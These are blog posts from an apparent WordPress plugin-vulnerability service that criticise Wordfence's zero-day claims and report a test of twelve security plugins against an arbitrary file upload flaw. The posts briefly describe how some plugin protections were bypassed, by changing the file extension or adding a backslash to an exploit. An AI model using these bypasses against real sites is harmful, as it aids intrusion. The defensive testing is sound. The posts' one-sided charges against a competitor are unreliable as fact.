  • Keep your plugins up to date. Unless you are constantly checking for outdated plugins, your best bet is probably to enable WordPress’ ability to update them automatically. Our Automatic Plugin Updates plugin is one option for doing that.
  • Install our Plugin Vulnerabilities plugin. For vulnerabilities that it looks like a hacker is already exploiting, we include data on that in the plugin and you will get alerted to the situation even if you don’t use the service.
  • Sign up for our service. Not only do get alerted if there is a vulnerability in the currently installed plugin, but we can also work with you to determine what is the best option for dealing with that situation. Maybe the vulnerability is something you can safely ignore or we can create a workaround to prevent exploitation until a proper fix is released. Your support of the service also help us to continue to work to get these types of vulnerabilities fixed.
  • Hire someone to do a security review done on the plugins you use. This is the most expensive option, but it also going to provide you the highest level of protection. It also will help everyone else using the same plugins.
23 Sep

WordFence Lack of Security Knowledge Leads To Them Falsely Claiming to Protect Against Zero-Day Vulnerabilities

Last week we looked at a troubling claim made by the WordPress security company Wordfence that they were exclusively aware of zero-day vulnerabilities:

We also protect against many zero day vulnerabilities that aren’t yet known to the public but are known to us exclusively. These rules protecting against zero day vulnerabilities are unique to Wordfence.

The reason that is troubling is that would imply that they knew about vulnerabilities that were being exploited and were not notifying the developer of the relevant software, as a zero-day vulnerability refers to a vulnerability that is being exploited before the developer is aware of the vulnerability.

Based on on us actually finding numerous zero-day vulnerabilities in WordPress plugins that Wordfence seemed to be unaware of, we thought that maybe Wordfence didn’t actually understand what they were talking about (that is something we have seen evidence of repeatedly in the past). Maybe they had confused a zero-day vulnerability with a vulnerability that they had discovered. That distinction is rather important since a zero-day vulenrability is major threat, since even if you software is up to date, you are vulnerable when it is first exploited. On the other hand a vulnerability that they have discovered might not be much of threat at all (Wordfence has been known to not disclose details that show that a vulnerability is only a threat to a limited portion of it users) and if it has been fixed before a hacker becomes aware of it then it is of even less of a concern.

In a blog post yesterday it became clear they don’t understand what a zero-day vulnerability is (which isn’t an obscure term, it has a wikipedia page). Here is a part of a conversation between two of their employees (the one answering the question is describe as a “security analyst” and also someone we found putting out a false report of a vulnerability in a plugin earlier this year):

You have developed a reputation for finding zero day vulnerabilities in WordPress plugins. Can you talk about how you choose which plugins to focus your energy on and your process for finding 0 day vulnerabilities?

There are some cases where I have found a vulnerability as part of an investigation into a hacked website. Frequently I hit a tag in the plugins repository and choose plugins that look interesting. After that I review the code and use several tools to quickly test specific things, like injectable JS code in parameters, fuzzing input and things like that.

I think the biggest advantage I have in this is that I understand pretty well how WordPress works. This allows me to easily spot mistakes developers make which could lead to a security issue. In the WordPress community a lot of people are contributing in a wide variety of ways. This is my way of contributing – always working to make this community more secure, or at least less vulnerable.

A vulnerability found while you are looking at a plugin you randomly choose does not make it a zero-day vulnerability. It continues to scare us that so many people trust those guys, despite repeated evidence that they have trouble with the basics of security.

While they are misleading people in to thinking they are finding zero-day vulnerabilities and able to protect against them, we are actually finding and helping to get fixed many zero-day vulnerabilities (in a situation where the vulnerability doesn’t get fixed we warn you even if you don’t use the service yet, as long as you have the service’s companion plugin installed). Just yesterday we found what looks to be  arbitrary file upload zero-day vulnerability in a plugin and today we found one in another plugin. So if you are looking for actual protection against these types of vulnerabilities our service is probably going to provide you a better option for doing that than Wordfence.

22 Sep

Only One WordPress Security Plugin Fully Protected Against a Recently Disclosed Arbitrary File Upload Vulnerability

Last week we did our first test to see what protection that WordPress security plugins can provide against the exploitation of the vulnerabilities in plugins. The results for a persistent cross-site scripting (XSS) vulnerability were not good, with only 2 of the 11 plugins tested providing any protection and even the protection in those two was easily bypassed.

Earlier this week we disclosed a set of arbitrary file upload vulnerabilities in four plugins by the same developer. While these vulnerabilities are of the type that are likely to be exploited (you can now know how likely vulnerabilities are to be exploited with our service), after we contacted the developer, they took two weeks to fix one and the other three have yet to be fixed two months later. That shows a couple of the problems with being able to protect against plugin vulnerabilities at this time, one being that vulnerabilities are not fixed in a timely manner and the other being that simply keeping you plugins up to date will not protect you.

An arbitrary file upload vulnerability allows an attacker to upload any type of file to the website. They would usually use that upload .php file that contains PHP code, which provide them further access to the website or allows them to take further malicious actions.

To see how security plugins would protect against this type of vulnerability we will test them out against the arbitrary file upload vulnerability that exists in N-Media Post Front-end Form simply because that was the first one of those plugins that we discovered had a vulnerability, which we found while looking in to the possibility that plugin had a vulnerability elsewhere in its code.

From what we see monitoring hacking attempts it looks as if arbitrary file upload vulnerabilities are the most frequently targeted vulnerability in WordPress plugins and from cleaning up many hacked WordPress websites they also frequently are the cause of websites being hacked. Based on that you would expect that if security plugins could protect against some type of vulnerability this would be one type that they would. It also seems like it should be relatively easy to monitor files that are being uploaded directly to the website, by check the contents $_FILES variable of PHP, increasing the chances they can stop this type of issue in its most basic form.

Continuing something that came up while working on the first test, we first trying exploiting the vulnerability in and then for plugins that we found stop exploitation we look if we can find a way to bypass that protection without looking at the underlying code (black-box testing).

Testing Procedure

For each of the tested plugin we set up a fresh install of WordPress 4.6.1, installed the latest version of N-Media Post Front-end Form, and installed the latest version of the security plugin. We tried to enable any feature of the plugin that could possibly have an impact on stopping exploitation of the vulnerability.

We used the proof of concept included in our previous post and uploaded a file with a .php extension that contains PHP code.

The 12 plugins we tested include the security plugins listed in the Popular plugins section of the Plugin Directory and some others that look to intended to prevent this type of situation. If you would like to see an additional plugin included in future testing please leave a comment on the post or contact us.

Results

Only three of the plugins tested, Anti-Malware Security and Brute-Force Firewall, NinjaFirewall (WP Edition) and Wordfence, prevented the vulnerability from being exploited in the original test. But we were able to easily bypass the protection in two of those, Anti-Malware Security and Brute-Force Firewall and Wordfence, without even looking the at the underlying source code of how their protection works (that source code would be available to anyone looking to exploit them). With both plugins simply uploading a file with .jpg extension instead of .php evaded their protection. Since you also specify what the file will be named on the server with this vulnerability, the extension of the uploaded file doesn’t dictate the extension of the file on the server.

It is interesting to note that the only plugin to fully protect against the vulnerability, NinjaFirewall (WP Edition), was one of the least popular of the plugins tested, with only 10,000+ active installs. That is a good reminder that the popularity of security plugins has little bearing on the protection they provide.

The full results are below:

Acunetix Secure WordPress

Result: Failed to prevent exploitation.

Acunetix WP Security

Result: Failed to prevent exploitation.

All In One WP Security & Firewall

Result: Failed to prevent exploitation.

Anti-Malware Security and Brute-Force Firewall

Result: Prevented exploitation, but bypass around protection was easily found.

BulletProof Security

Result: Failed to prevent exploitation.

IP Geo Block

Result: Failed to prevent exploitation.

iThemes Security

Result: Failed to prevent exploitation.

NinjaFirewall (WP Edition)

Result: Prevented exploitation.

Security Ninja

Result: Failed to prevent exploitation.

Shield WordPress Security

Result: Failed to prevent exploitation.

Sucuri Security

Result: Failed to prevent exploitation.

Wordfence

Result: Prevented exploitation, but bypass around protection was easily found.

Protecting Against Plugin Vulnerabilities

Seeing as most of those security plugins provided no protection and all but one other was easily bypassed, there are a number of other steps you can take to lessen the chances of being exploited through a vulnerability in a plugin:

  • Remove plugins that you are not planning to use anymore. Some vulnerabilities are exploitable even if the plugin is not activated, so just deactivating them will not fully protect you.
  • Keep your plugins up to date. Unless you are constantly checking for outdated plugins, your best bet is probably to enable WordPress’ ability to update them automatically. Our Automatic Plugin Updates plugin is one option for doing that.
  • Install our Plugin Vulnerabilities plugin. For vulnerabilities that it looks like a hacker is already exploiting, we include data on that in the plugin and you will get alerted to the situation even if you don’t use the service.
  • Sign up for our service. Not only do get alerted if there is a vulnerability in the currently installed plugin, but we can also work with you to determine what is the best option for dealing with that situation. Maybe the vulnerability is something you can safely ignore or we can create a workaround to prevent exploitation until a proper fix is released. Your support of the service also help us to continue to work to get these types of vulnerabilities fixed.
  • Hire someone to do a security review done on the plugins you use. This is the most expensive option, but it also going to provide you the highest level of protection. It also will help everyone else using the same plugins.
16 Sep

Wordfence’s Troubling Claim About Their Knowledge of Zero-Day Vulnerabilities

Wordfence is a WordPress security company that we have found on multiple occasions misleading the public. It is our belief that a lot of that is due to their lacking even basic security knowledge. That makes it bit hard to tell with a recent claim whether they are being incredibly irresponsible or just trying to mislead people in to believing their products provides a level of protection far beyond what it does.

In a recent post they wrote this about the firewall that is part of their product:

We also protect against many zero day vulnerabilities that aren’t yet known to the public but are known to us exclusively. These rules protecting against zero day vulnerabilities are unique to Wordfence.

The Wikipedia explains why zero-day vulnerability is known as that with the following:

It is known as a “zero-day” because it is not publicly reported or announced before becoming active, leaving the software’s author with zero days in which to create patches or advise workarounds to mitigate against its actions.

If Wordfence knows about vulnerabilities that are being exploited and hasn’t notified the developer that would be incredibly irresponsible. Let’s hope that is not the case.

So what else could they mean, it could be that they are just referring to vulnerabilities that are not widely known by the public and maybe that they discovered. Keeping those quiet on a long term basis would be quite bad if they haven’t been fixed, seeing as if they could find them, someone else could as well. If the public was made aware of them they could take action to protect themselves, while if Wordfence keeps quite the public will remain vulnerable. If the vulnerabilities had already been fixed, then Wordfence wouldn’t be providing any protection over what you would have by simply keeping your plugins up to date instead.

While we don’t know about zero-day vulnerabilities Wordfence knows about exclusively, we do know about many they don’t appear to have been aware of (unless they never notified the developers and or the Plugin Directory). Back in May during on routine monitoring of our websites for hacking attempts we started seeing hackers probing for usage of plugins that there did not have disclosed vulnerabilities that we could find. We were then able to find vulnerabilities that hackers would be likely to target in those plugins. In some cases we were later able to confirm that those vulnerabilities were in fact what was targeted. Once we started monitor some third-party data we were able to find more of these and started seeing that many of these appear to have been know by hackers for some time. One of the first we found through that may have been known by hackers for more than a year. With that vulnerability, it was fixed within two weeks of us discovering it and notify the proper people. So either Wordfence knew about this vulnerability and never took action to get it fixed or they didn’t know about it. That isn’t a one off thing discovery, in a previous post where we mentioned Wordfence apparent lack of knowledge of this type of vulnerability we included a listed 21 vulnerabilities we had found like this so far. That was back in June and we have found plenty more since then.

There is another problem with Wordfence claim of protection, we found their firewall’s protection can either doesn’t work or can be easily evaded in at least some cases. Months ago, based on a claim Wordfence made, we did a couple of test to see if their firewall could protect against a vulnerability, in both instances we found it failed. Earlier this week we tested it and 10 other WordPress security plugins against another vulnerability. This time we found that it was one of only two that stopped exploitation of the vulnerability at first, but we were able to easily find a way to bypass the protection by simply adding “\” to the exploit. Properly fixing a vulnerability instead or relying on this type of bandaid avoids this type of thing as the protection usually doesn’t rely on the same type of pattern matching and since everyone can take look at the fix, if there is a problem with the fix someone else might spot it (we have found numerous security issues in plugins while reviewing other reports of vulnerabilities).

If you are concerned about plugin vulnerabilities we think you would be much better off with our service as we are actually focused on getting vulnerabilities fixed. When that doesn’t happen we will warn you that you are vulnerable so that you can take action to fully protect yourself, you can even get in touch with us to discuss what is your best option to handle it.

Highly Suspect Claims

The rest of Wordfence post also made some other claims that really should be the kind of thing that would clue people in to the fact that they play fast and lose with the truth. At one point while mentioning that new feature requires more checks to be done they claim:

This new layer of protection is extremely fast and comes with zero performance penalty for your website.

Even if it is extremely fast, that still implies that more is happening, but they don’t claim it will have a minimal impact, they have to go all the way to zero.

They also claim that the additional checks did no result in any false positives:

this new detection did not result in any false positives on your website

When you consider that the additional checks involve running checks that when done elsewhere are known to produce some bad false positives, that would pretty clearly be false.